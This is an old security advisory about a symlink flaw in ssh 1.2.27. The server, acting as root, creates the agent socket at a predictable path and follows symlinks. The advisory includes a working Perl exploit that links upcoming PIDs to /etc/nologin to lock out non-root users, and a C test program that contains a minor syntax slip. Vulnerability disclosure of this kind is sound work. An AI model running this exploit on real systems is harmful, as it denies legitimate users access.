COMMAND
ssh
SYSTEMS AFFECTED
ssh 1.2.27
PROBLEM
Tymm Twillman found following. There's no guaranteeing that
exploits are possible for all of these, but they do look fairly
dangerous.
SSH has the option of setting up "authentication sockets", used to
pass authentication keys securely. When this is used, a socket is
created on both client and server machines; the socket created on
the server uses an often easy to guess filename (based on the
PID)... The creation of this socket is done while the server is
acting as root and does follow symlinks. Exploit:
- connect to remote machine
- run following script (creates symlinks for the next 50 PID's):
#!/usr/bin/perl
$pid = $$;
$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);
for ($i = $pid; $i < $pid+50; $i++) {
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}
- on local machine, execute ssh-agent1; it will produce a few
lines to cut and paste into your shell. Do so.
- ssh1 to the remote machine; enter password
The socket will have been created at /etc/nologin, preventing
other non-root users from logging in. This connection too will
die with "Logins are currently denied by /etc/nologin:"
This was tested on a RedHat 6.0 machine, with standard
configure/make/install installation of ssh. This script should
work pretty well for systems that create processes where each PID
is one greater than the last; other platforms may require
modifications, or many many more links, if they're exploitable.
The problem appears to be that under Linux, a bind() to a
Unix-domain socket will follow a dangling symlink, whereas most
other Unixes appear to return an EADDRINUSE error. A trivial
demo program that demonstrates the problem is attached. (It
needs no special privileges; run it as an unprivileged user in any
writable directory) The program reports "okay" under Solaris
2.5.1 and IRIX 6.5.2, "vulnerable" under RedHat 6, FreeBSD
3.3-STABLE/i386, NetBSD 1.4.1/i386, Debian GNU/Linux 2.2 (kernel
2.2.12)/i386. AIX 4.3.2 with all the recent Fixdist patches says
"okay". Also, according to program, Digital Unix 4.0B, 4.0D, and
Tru64 Unix 4.0F are all vulnerable.
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#define FPATH "./bindlinktest"
#define LPATH "./bindlinktest0"
int main(int argc, char **argv) {
int fd;
struct sockaddr_un sunaddr;
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) { perror("socket");exit(1); };
unlink(FPATH);
if (symlink(FPATH, LPATH) < 0) {
perror("symlink");exit(1);
}
memset(&sunaddr, 0, sizeof(sunaddr));
sunaddr.sun_family = AF_UNIX;
strncpy(sunaddr.sun_path, LPATH, sizeof(sunaddr.sun_path));
if (bind(fd, (struct sockaddr *)&sunaddr, sizeof(sunaddr)) < 0) {
if (errno == EADDRINUSE) {
printf("bind() returned EADDRINUSE; this system appears to be okay.\n");
} else {
perror("bind");
}
} else {
printf("bind() succeeded; this system appears to be vulnerable.\n");
}
close(fd)
unlink(FPATH);
unlink(LPATH);
exit(0);
}
SOLUTION
Nothing yet. If you're running Linux, it appears kernels pre 2.1
will not be affected by this bug as they do not follow symlinks
when creating UNIX domain sockets. Other OSs - still unknown.